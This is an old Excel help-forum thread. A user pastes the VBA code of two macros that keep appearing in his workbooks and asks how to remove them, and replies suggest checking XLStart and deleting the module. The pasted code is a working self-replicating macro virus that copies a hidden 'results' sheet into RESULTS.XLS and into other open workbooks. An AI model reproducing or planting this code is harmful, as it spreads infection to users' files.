![]() |
![]() |
|
|||||||
| Excel Questions All Excel/VBA questions - formulas, macros, pivot tables, general help, etc. Please post to this forum in English only. |
![]() |
|
|
Thread Tools | Display Modes |
|
|
#1 |
|
Board Regular
Join Date: Apr 2002
Location: St. Louis
Posts: 71
|
Somehow or another, my computer has two macros stored in a file in the ExcelXLSTART directory.
Every time I write a new macro or bring one home from work, these two little macros show up and get stored in my new file. How can I get rid of them and where did they come from. Any help would be greatly appreciated. Here is the code contained in this file from XLSTART: Sub auto_open() Application.OnSheetActivate = "ck_files" End Sub Sub ck_files() c$ = Application.StartupPath m$ = Dir(c$ & "" & "RESULTS.XLS") If m$ = "RESULTS.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 Select Case whichfile Case 10 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name Sheets("results").Visible = True Sheets("results").Select Sheets("results").Copy With ActiveWorkbook .Title = "" .Subject = "" .Author = "" .Keywords = "" .Comments = "" End With newname$ = ActiveWorkbook.Name c4$ = CurDir() ChDir Application.StartupPath ActiveWindow.Visible = False Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _ , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _ False, CreateBackup:=False ChDir c4$ Workbooks(n4$).Sheets("results").Visible = False Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "RESULTS.XLS!ck_files" Case 1 Application.ScreenUpdating = False n4$ = ActiveWorkbook.Name p4$ = ActiveWorkbook.Path s$ = Workbooks(n4$).Sheets(1).Name If s$ <> "results" Then Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1) Workbooks(n4$).Sheets("results").Visible = False Else End If Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "RESULTS.XLS!ck_files" Case Else End Select End Sub |
|
|
|
|
|
#2 |
|
MrExcel MVP
Join Date: Feb 2002
Location: Bogota, Colombia
Posts: 11,927
|
Have you looked in the XLStart directory for any strange files ?
|
|
|
|
|
|
#3 |
|
Banned
Join Date: Feb 2002
Posts: 1,582
|
Hi Dexter
No idea where they cam from,but to remove them, push Alt+F11 then right click on the Module housing the code and select "Remove Module1" |
|
|
|
|
|
#4 |
|
Board Regular
Join Date: Mar 2002
Location: Massachusetts, USA
Posts: 255
|
I have the same problem. But, when I right click to remove, I cannot select this option. However, the macro is not listed as a module, but a project?
|
|
|
|
|
|
#5 |
|
Board Regular
Join Date: Apr 2002
Location: St. Louis
Posts: 71
|
Dave,
Thanks for your help. I'll give it a try. I assume you are referring to other files that I have created that now have this auto open procedure. If so, I'll need to move the desired macros out of that module before I zap it. Dexter |
|
|
|
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
|
|